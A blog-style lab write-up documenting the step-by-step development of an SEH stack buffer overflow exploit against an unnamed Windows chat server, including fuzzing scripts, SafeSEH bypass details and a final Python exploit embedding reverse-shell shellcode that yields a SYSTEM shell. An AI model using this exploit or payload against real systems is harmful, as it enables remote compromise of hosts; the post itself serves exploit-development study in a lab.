This post describes the process of developing an exploit for a stack-based buffer oveflow vulnerability within a Windows application, with the aim of gaining remote access to the underlying host. The exploit will employ a technique which abuses the native Windows Structured Exception Handling (SEH) mechanism to gain control over process execution.
It is worth noting that the purpose of this post is to act as a journal, documenting the steps followed and the results obtained during the process of building this exploit, in the hope it may be of help to others also seeking to learn more about the field of exploit development. I don’t claim to have discovered a previously uknown exploit for the vulnerability under scrutiny, nor do I claim to have developed any new techniques for leveraging SEH. The technique described here is well documented in countless other blogs, articles and technical papers. Experience has taught me that knowledge acquired by “doing and then documenting” tends to stick much more firmly in the grey matter and this post is the output of that activity. I believe the notes will prove useful to me in the future as a source of reference; if they help out others too, then all the better.
NB: I have made a point of not revealing the identity of the vulnerable Windows application targeted in this exercise. This is simply a personal choice: the application’s vulnerabilities (and exploits for them) are well known, so I wouldn’t be revealing anything that isn’t already common knowledge in information security circles. However, given that (a) the vulnerable version of the application is still available for download trial and/or purchase, and (b) this post is concerned only with the generic process of developing an SEH buffer overflow exploit, I see no real reason to do anything which contributes to the degradation of the security posture of any community or organisation unlucky enough to still be using this application.
The test lab environment will be fully virtualised: the attack host will be a Kali 2017.1 VM and the target host will be a Windows 7 SP1 Home Edition VM. These will be running within the Oracle Virtualbox hypervisor with Centos 7 as the host operating system.
The CVE description doesn’t give too much away, but it does tell us that the vulnerability is related to the processing of authentication requests sent to the application over a TCP/IP connection using the HTTP/HTTPS protocol. More specifically, it tells us that the vulnerability manifests itself when an overly long user name string is sent as a parameter within the authentication request, which results in a stack-based buffer overflow.
By downloading, installing and running an evaluation copy of the application, we can see that it exposes an HTTP/HTTPS web interface on the standard ports (80 and 443). For the sake of simplicity, we’ll just focus on the non-encrypted HTTP interface for now. We don’t have any details of the structure of requests sent to (or responses received from) this interface, so the first thing we need to do is to examine a sample of network traffic captured during an authentication session, to see if that will provide us with any clues. An interception proxy such as Burp Suite can be used for this purpose. By configuring a web browser to route its traffic via the proxy, we can eavesdrop on traffic exchanged between the browser and the server:
Looking at the raw request, we can see that a number of arguments are passed to the server as URL-encoded parameters, including the one we’re interested in: the name of the user. The fact that both the username and the password are both passed in cleartext over an unencrypted channel is clearly not ideal from a security point of view, but that’s a side issue!.
Now we know the general structure of the request, we can use this information to construct a script which will allow us to generate requests similar to those transmitted by the browser, and crucially will allow us to programmatically vary the length and content of the user name argument.
The first task is to determine whether we can replicate the buffer overflow detailed in the vulnerability report. At this point, all we know is that the overflow is caused by supplying an overly long user name argument. We don’t know how long the string needs to be, so we’ll employ a technique known as fuzzing, which involves progressively increasing the string length supplied to the server until the overflow occurs. Based on the information we’ve acquired via Burp Suite, this is the script we will use:
#!/usr/bin/env python import socket char = "A" buff = [char] step = 200 count = 100 victim_host = "192.168.0.55" victim_port= 80 usr_tok = "%USR%" get_request_template = ( "GET /chat.ghp?username=" + usr_tok + "&password=password&room=1&sex=1 HTTP/1.1\r\n" "Host: 192.168.0.55\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-US,en;q=0.5\r\n" "Referer: http://192.168.0.55/\r\n" "Connection: Keep-Alive\r\n\r\n" ) # build a list of strings representing usernames of increasing length while len(buff) <= 30: buff.append(char * count) count += step for usr_name in buff: print "Sending %s user name bytes..." % len(usr_name) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn = sock.connect((victim_host, victim_port)) content = get_request_template.replace(usr_tok, usr_name) #print content sock.send(content) rx = sock.recv(1024) if len(rx) > 0: print rx sock.close()
Notice that the value of the “Connection” header in the GET request has been changed from “close” to “Keep-Alive” so that a persistent connection is establised; this allows multiple requests to be sent during the fuzzing operation without the need to set up and tear down the connection each time.
Executing the script on the attack host causes the following responses to be transmitted back from the server:
As the script executes, it repeatedly sends fabricated authenticated requests to the server, increasing the user name argument (which is just a series of “A” characters) by 10 bytes on each iteration. We can see that when the argument length reaches 220 bytes, the server stops responding. That fact that we don’t receive an HTTP error message is a good indication that an unhandled irrecoverable error has occurred at the server end, so it looks like we may have successfully forced the buffer overflow to occur. Looking at the server host desktop, it’s clear that something untoward has occurred:
Debugging The Server
Our malicious authentication request has crashed the server application and will have left the processes it created and the memory space it occupies in an indeterminate state. To establish whether we can make use of this situation, we need to examine the internal state of the server using a debugger. For this exercise, we will use OllyDbg.
After restarting the server, we attach the debugger to the server process and allow it to run:
At the attack host, because we now know that the length of the user name argument needed to cause the crash must be at least 220 bytes, we will revise our script so that instead of fuzzing the server, it just sends a single fixed length string of 300 bytes (the extra 80 bytes is an arbitrary length just to see how far we can oveflow into stack memory):
#!/usr/bin/env python import socket victim_host = "192.168.0.55" victim_port= 80 usr_tok = "%USR%" get_request_template = ( "GET /chat.ghp?username=" + usr_tok + "&password=password&room=1&sex=1 HTTP/1.1\r\n" "Host: 192.168.0.55\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-US,en;q=0.5\r\n" "Referer: http://192.168.0.55/\r\n" "Connection: Keep-Alive\r\n\r\n" ) usr_name = "A" * 300 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn = sock.connect((victim_host, victim_port)) content = get_request_template.replace(usr_tok, usr_name) sock.send(content) rx = sock.recv(1024) if len(rx) > 0: print rx sock.close()
We send the request to the server, wait for the crash to occur, then examine the aftermath in OllyDbg – the status bar message tells us that an access voilation exception has occurred:
In a “classic” buffer overflow scenario, the aim is to cause the Extended Instruction Pointer (EIP) register to be overwritten with a value of our own choosing. The system interprets the value in the EIP as the address of the next instruction to execute, so if we are able to overwrite the EIP with a value which happens to be the memory address of an instruction to jump to the address of the Extended Stack Pointer (ESP) register (which we also overwrite with the address of some malicious code inserted by us elsewhere in memory), we can assume control of the hijacked process, and force it to execute the instructions we supply instead of its own.
This strategy relies on a number of preconditions being true. First, the area of stack memory allocated as a buffer for the operation within by the process causing the overflow must be located at an address lower than the address of the EIP and ESP registers, and within “overflow-able” range of them. Second, the process under attack must not have been compiled with any of the compiler directives which add countermeasures aimed at preventing overflows from occurring in the first place, such as Stack Canaries.
Assuming this is the case, when the process executes the instruction which attempts to write a value too large for the allocated stack buffer, data will be written beyond the end of the buffer and hopefully into the EIP and ESP registers.
In this case however, that doesn’t appear to have happened. At the point at which the process crashes, the EIP seems to contain a valid address:
So what’s going on ? If we look at the current instruction, i.e. the one being excuted as the crash occurs, we can see that the system is being told to deference the pointer given by the current value of ECX register + 4 bytes, read the 32-bit value at the address and then write it back to the ECX register:
MOV ECX, DWORD PTR DS:[ECX+4]
The problem is that the ECX register doesn’t contain a valid memory address – it contains the hex value “41414141” – the ASCII value for which is “AAAA”. Our malicious user name string contains a long sequence of ASCII “A” characters, so it appears that our buffer has overflowed into the ECX register:
Structured Exception Handling
Why did this cause the process to stop executing ? We can see from the debugger that an Access Violation Exception was thrown, meaning somehow the system knew that it was being asked to read from the a non-existent or otherwise non-accessible memory location. This might be either because the server code contains an exception handler written specifically to handle this type of occurrence, or in the absence of such a handler, because the access violation was detected by the operating system itself. Structured Exception Handling (SEH) a Win32 mechanism which exists to ensure that at a low level, exceptions are handled consistently. From the point of view of this exercise, it doesn’t really matter where the detection of the violation occurred, only that it was detected within the SEH context. We can be confident that SEH will deal with exception in the same way regardless of it’s origin; this will help us to predict what processing is invoked next, and how we can use that to our advantage.
Each thread spawned by a process is assigned it’s own list of exception handlers. When a problem occurs, the operating system consults this list in an attempt to find a handler which can deal with the detected problem. The location in memory of this list of handlers is important to us, because the list is a linked list, meaning that each entry in the list contains a pointer to the address of the next entry. We know that when an error occurs, the operating system will jump to and excute one of the handlers in this list. So, if we can overwrite the pointer which contains the address of the start of the list, we will be able to control the flow of execution. The SEH handler list is positioned at a location in the stack after that used to store local variables, so a sufficiently large buffer overflow might allow us to overwrite one of the pointers to an SEH handler.
OllyDbg allows us to inspect the state of the SEH handler chain for a give thread, so let’s take a look our crashed server process:
In the Threads view, the entry at the top of the list represents the currently executing thread. If we select this thread and display its “Data Dump” view, we can see that execution stopped at the start of the SEH chain, meaning that the exception we caused is indeed being handled by SEH. Even more interesting is that pointer (“Next SEH Handler”) identifying the address of the current SEH handler appears to have been overwritten by our malicious string “41414141” = ASCII “AAAA”.
Determining the “Next SEH” Offset
Being able to overwrite Next SEH pointer value is encouraging, but a series of “A” characters doesn’t tell us much. Which 4 bytes of the 300 byte string of “A” characters actually overwrote the pointer ? If we can determine this, we can replace those 4 bytes with something more useful – like an address to somewhere else in memory that we can control. One way to do this is to replace the 300 byte string with a sequence of characters containing a pattern which allows the position of any substring within the sequence to be uniquely identified. The position of the characters which overwrite the Next SEH pointer will then tell what offset needs to be prepended to the address we supply, to ensure that it gets inserted at the right location.
We can now update our attack script, replacing the “A” characters with our newly generated sequence:
#!/usr/bin/env python import socket victim_host = "192.168.0.55" victim_port= 80 usr_tok = "%USR%" get_request_template = ( "GET /chat.ghp?username=" + usr_tok + "&password=password&room=1&sex=1 HTTP/1.1\r\n" "Host: 192.168.0.55\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-US,en;q=0.5\r\n" "Referer: http://192.168.0.55/\r\n" "Connection: Keep-Alive\r\n\r\n" ) usr_name = ( "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac" "8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af" "7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai" "6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn = sock.connect((victim_host, victim_port)) content = get_request_template.replace(usr_tok, usr_name) sock.send(content) rx = sock.recv(1024) if len(rx) > 0: print rx sock.close()
After restarting the server and sending the new authentication request, we see the following in the debugger:
We can see that the Next SEH Handler pointer value has been ovewritten with the ASCII characters “7Ag8”. We can use another Metsploit Framework Ruby script to tell the location of the start of this substring in the sequence:
The substring is located at an offset of 203, so we now know that we have the ability to reliably overwrite the address referenced by the Next SEH Handler with 4 bytes. But how do we determine the adresss of the SEH Handler itself ? Fortunately, we know from reading various Microsoft Win32 publications (including this one) that the SEH handler is located at the address of the Next SEH Handler pointer + 4 bytes. Great, so potentially we can just insert our malicious code at the SEH handler location ? Unfortunately not, because The SEH handler is actually a pointer to a function. Inserting code to be executed directly as instructions is not an option; we need the SEH handler to point to another address instead.
We know from the way in which SEH works that when exception handling commences, a frame responsible for managing the execution of the exception is set up within the associated thread’s stack, with the address of the Next SEH Handler pointer at the top of the frame. Crucially, we also know that this start of this structure is always located at an address 8 bytes higher than that of the ESP register. If we can use this information to replace the SEH handler function pointer with an address to some instructions which manipulate the stack, such that the address of the next SEH handler ends up being located at the top of the stack, we should be able to gain control of execution.
An additional complication is that Windows executables and libraries are by default compiled with an overwrite protection mechanism called SafeSEH, which validates the address of SEH handlers before allowing them to be executed. If we were to overwrite the handler address so that it pointed to an address which was not in the list of valid SEH handler addresses, this feature would prevent the instructions at that location from being executed and our exploit would fail. Fortunately for us there is a loophole: if the address we use happens to be within a separate module which was not compiled with SafeSEH enabled, this protection mechanism is bypassed.
NB: All newer versions of the Windows OS contain a built-in overwrite mitigation feature called SEHOP which detects corrupt Next SEH pointer values and stops the associated handler from being executed. SEHOP is tends to be enabled by default on Windows Server versions and disabled by default on Windows Desktop versions. For the puposes of this exercise, we will assume that this feature is disabled.
Delegation Of Stack Manipulation
So, we now know that if we insert hex characters representing the address of a memory location into our expoit string starting at position 203 + 4 bytes, we should be able to coerce the system into treating that address as the pointer of the exception handler function. As a result, the address will get loaded into the EIP and whatever is at that address will be executed. We also know that our “bogus” exception handler must somehow cause the address of the next exception handler to be presented at the top of the stack, and return execution back from the current exception handler. Because we know where the exception dispatcher frame is on the stack, we know that can acheive this by popping 2 x 4 bytes off the top of the stack and then executing a return instruction, so we need to use the instruction sequence:
POP xxx POP xxx RETN. This would have the effect of placing the address of the next exception handler into the ESP, and causing execution to resume from that address. If that address happens to be the address of the next stage exploit code, then we are in business.
To bypass SafeSEH, we need to search through the non-SafeSEH modules loaded by the server process which contain the instruction sequence
POP xxx POP xxx RETN. We can then make use of this module by inserting the address of the start of this sequence into our malicious authentication request argument, causing the SEH handler function pointer to be overwritten, thereby delegating the business of manipulating the stack to the module.
We can use OllyDbg to help us identify modules loaded by the server process:
An additonal complication is the need to avoid including so called ‘bad characters’ in the authentication request argument. Bad characters are those which are not interpreted as literal characters by the server code, but are instead interpreted as an directive to perform an action. An example is the hex values \x00 which would be interpreted as a line terminator, preventing anything after it in the character sequence from being written to memory and hence sabotaging the exploit. \x20 would have similar effect as it would be interpreted as space character. We need to bear this in mind when looking for modules containing candiate POP POP RETN instruction sequences; we won’t be able to make use of modules whose entry point addresses contain bad characters. In fact, this is also the case for any values we include in our exploit string.
From the Executable Modules view in OllyDbg, we can see that the library “SSLEAY32.dll” has an entry point address which doesn’t start with a bad character, so this appears to be a good candidate. Let’s use the OllyDbg SSEH plugin to see if it has SafeSEH enabled:
SafeSEH is not enabled on the SSLEAY32.dll library so we should be able to convince the system to redirect execution here during exception handling without it complaining. Now let’s see if we can find a suitable POP POP RETN instruction sequence within this module. If we open the module code view, we can then use OllyDbg’s “Search For Sequence Of Commands” utility specifying wildcards for the POP instruction registers:
There are several candidate sequences to choose from, so we’ll pick the one at address
0x10011d82 NB: Because we are dealing with an Intel processor which uses little endian encoding, and OllyDbg shows us addresses as hex values, we will need to reverse the byte ordering when we insert this address into our exploit code.
Now that we have a mechanism to cause execution to flow from the fake SEH handler function pointer to the next SEH handler pointer, the next stage is to work out how to cause execution to be redirected to final stage exploit code. Because we know that we are able to oveflow into the stack beyond the SEH handler function pointer, we can locate our final stage exploit code there. In addition, because we know that the SEH handler function pointer occupies the 4 bytes directly after the next SEH handler pointer, we can overwrite the data referenced by the next SEH pointer with some instructions to cause execution to jump over the SEH handler function pointer to our final stage exploit code.
The next SEH handler pointer occupies 4 bytes, as does the SEH handler function pointer. A short jump instruction will occupy 2 bytes in total, so we need to update add an instruction to jump forward by 6 bytes, padding the 2 bytes after the jump instruction with no-operation opcodes.
Putting all of the above together and updating the attack script, we now have:
#!/usr/bin/env python import socket victim_host = "192.168.0.55" victim_port= 80 usr_tok = "%USR%" get_request_template = ( "GET /chat.ghp?username=" + usr_tok + "&password=password&room=1&sex=1 HTTP/1.1\r\n" "Host: 192.168.0.55\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-US,en;q=0.5\r\n" "Referer: http://192.168.0.55/\r\n" "Connection: Keep-Alive\r\n\r\n" ) usr_name = "A" * 203 usr_name += "\xeb\x06\x90\x90" # jmp +6 bytes, NOP, NOP usr_name += "\x82\x1d\x01\x10" # command sequence: pop EBP, pop EBX, retn: candidate found at 0x10011d82 in executable module SSLEAY32.DLL usr_name += "ABCDEFGHIJKLMNOPQRSTUVWXYZ" # placeholder for shellcode usr_name += "B" * 59 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn = sock.connect((victim_host, victim_port)) content = get_request_template.replace(usr_tok, usr_name) #print content sock.send(content) rx = sock.recv(1024) if len(rx) > 0: print rx sock.close()
After restarting the server and resending the updated authentication request, the following results are visible in the debugger:
We can see that:
- The next SEH pointer has been overwritten with 0x909006EB, which equates to
JMP 06 NOP NOP
- The SEH handler has been overwritten with 0x100111D82, which is the address of the POP POP RETN instruction sequence within the SSLEAY32.dll library
- Our final stage exploit code (represented at the moment with the placeholder character sequence “ABCDEFG…”) is located immediatelty after the SEH handler function pointer.
All we need to do now is generate the final stage exploit – the payload – and deliver this via our malicious authentication script instead of the placeholder character sequence.
Our goal is to establish a remote connection to the machine hosting the server process. We can again make use of the Metasploit Framework to do this for us. The msfvenom tool will generate the shellcode for an executable payload for us, all we need to do is specify the type of payload we want, add some arguments which specifiy the details of the attack host, ie the machine we want the remote shell to connect back to once it has been injected into and executed on the target:
We now have some shellcode which will establish a remote TCP based connection from the target host back to our attack host, so let’s update the authentication script to include it:
#!/usr/bin/env python import socket victim_host = "192.168.0.55" victim_port= 80 usr_tok = "%USR%" get_request_template = ( "GET /chat.ghp?username=" + usr_tok + "&password=password&room=1&sex=1 HTTP/1.1\r\n" "Host: 192.168.0.55\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-US,en;q=0.5\r\n" "Referer: http://192.168.0.55/\r\n" "Connection: Keep-Alive\r\n\r\n" ) shellcode = ( "\xdb\xd8\xb8\x4b\x26\xf4\x34\xd9\x74\x24\xf4\x5b\x31\xc9\xb1" "\x52\x31\x43\x17\x03\x43\x17\x83\x88\x22\x16\xc1\xf2\xc3\x54" "\x2a\x0a\x14\x39\xa2\xef\x25\x79\xd0\x64\x15\x49\x92\x28\x9a" "\x22\xf6\xd8\x29\x46\xdf\xef\x9a\xed\x39\xde\x1b\x5d\x79\x41" "\x98\x9c\xae\xa1\xa1\x6e\xa3\xa0\xe6\x93\x4e\xf0\xbf\xd8\xfd" "\xe4\xb4\x95\x3d\x8f\x87\x38\x46\x6c\x5f\x3a\x67\x23\xeb\x65" "\xa7\xc2\x38\x1e\xee\xdc\x5d\x1b\xb8\x57\x95\xd7\x3b\xb1\xe7" "\x18\x97\xfc\xc7\xea\xe9\x39\xef\x14\x9c\x33\x13\xa8\xa7\x80" "\x69\x76\x2d\x12\xc9\xfd\x95\xfe\xeb\xd2\x40\x75\xe7\x9f\x07" "\xd1\xe4\x1e\xcb\x6a\x10\xaa\xea\xbc\x90\xe8\xc8\x18\xf8\xab" "\x71\x39\xa4\x1a\x8d\x59\x07\xc2\x2b\x12\xaa\x17\x46\x79\xa3" "\xd4\x6b\x81\x33\x73\xfb\xf2\x01\xdc\x57\x9c\x29\x95\x71\x5b" "\x4d\x8c\xc6\xf3\xb0\x2f\x37\xda\x76\x7b\x67\x74\x5e\x04\xec" "\x84\x5f\xd1\xa3\xd4\xcf\x8a\x03\x84\xaf\x7a\xec\xce\x3f\xa4" "\x0c\xf1\x95\xcd\xa7\x08\x7e\x32\x9f\x12\x48\xda\xe2\x12\x84" "\x23\x6a\xf4\x8e\x43\x3a\xaf\x26\xfd\x67\x3b\xd6\x02\xb2\x46" "\xd8\x89\x31\xb7\x97\x79\x3f\xab\x40\x8a\x0a\x91\xc7\x95\xa0" "\xbd\x84\x04\x2f\x3d\xc2\x34\xf8\x6a\x83\x8b\xf1\xfe\x39\xb5" "\xab\x1c\xc0\x23\x93\xa4\x1f\x90\x1a\x25\xed\xac\x38\x35\x2b" "\x2c\x05\x61\xe3\x7b\xd3\xdf\x45\xd2\x95\x89\x1f\x89\x7f\x5d" "\xd9\xe1\xbf\x1b\xe6\x2f\x36\xc3\x57\x86\x0f\xfc\x58\x4e\x98" "\x85\x84\xee\x67\x5c\x0d\x1e\x22\xfc\x24\xb7\xeb\x95\x74\xda" "\x0b\x40\xba\xe3\x8f\x60\x43\x10\x8f\x01\x46\x5c\x17\xfa\x3a" "\xcd\xf2\xfc\xe9\xee\xd6" ) usr_name = "A" * 203 usr_name += "\xeb\x06\x90\x90" # jmp +6 bytes, NOP, NOP usr_name += "\x82\x1d\x01\x10" # command sequence: pop EBP, pop EBX, retn: candidate found at 0x10011d82 in executable module SSLEAY32.DLL usr_name += "\x90" * 16 # create some stack space for the reverse shell decoder generated and included by msfvenom usr_name += shellcode sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn = sock.connect((victim_host, victim_port)) content = get_request_template.replace(usr_tok, usr_name) sock.send(content) rx = sock.recv(1024) if len(rx) > 0: print rx sock.close()
After restarting the server and resending the updated authentication request, the following results are visible in the debugger – first of all, the system detects the access violation caused by the buffer overflow and attempts to handle the exception using SEH. Because the SEH handler function pointer has been overwritten with the address of the POP POP RETN instructions within SSLEAY32.dll, this address gets loaded into the EIP and the library instructions get executed:
The POP POP instructions cause the ESP to point to the address of the next SEH handler; the RETN causes the EIP to to be loaded with this address and execution gets redirected to this location. As we have overwritten the next SEH handler pointer with our short jump instructions, this gets executed next:
After the jump, the EIP now points to the NOP sled at the start of our shellcode (an arbitrary number of NOP’s have been added to allow space for the reverse shell decoder generated by msfvenom and prepended to the shellcode):
To determine whether a remote shell can be successfully established on the target host, first we start a netcat listener on our attack machine to listen for any incoming connections on the port we specified when we generated the shellcode for our payload, then allow the server execution to continue:
The target machine has now been fully compromised; the remote shell we injected has been executed and it has successfully established a connection with the netcat listener on our attack machine. The shell will execute with the same level of privilege as the account which was used to spawn the compromised server process. Issuing a simple “whoami” command to the compromised host via this shell shows us that the server process must have been executed as a system process under the built in Windows LocalSystem account, meaning that our shell has the highest level of administration rights on the host system, and will permit us to perform actions invaluable to a malicious actor attacking the system, e.g creating new user accounts, installing software, disabling firewalls, even pivoting to other hosts on normally inaccessible networks. NB: Port 12345 is an arbitrary choice used here for illustrative purposes. Network reconnaisance carried out in advance of an attack such as this would aim to identify a suitable open port for the reverse shell to use.
In addition to SafeSEH and SEHOP, there are several other Windows memory defence mechanisms, including Address Space Layout Randomisation (ASLR) and Data Execution Prevention (DEP), which aim to prevent exploits such as the one studied here. However, the number of end-of-life and unpatched operating systems and vulnerable applications still in active use means that SEH abuse will probably remain a viable exploit technique for some time to come.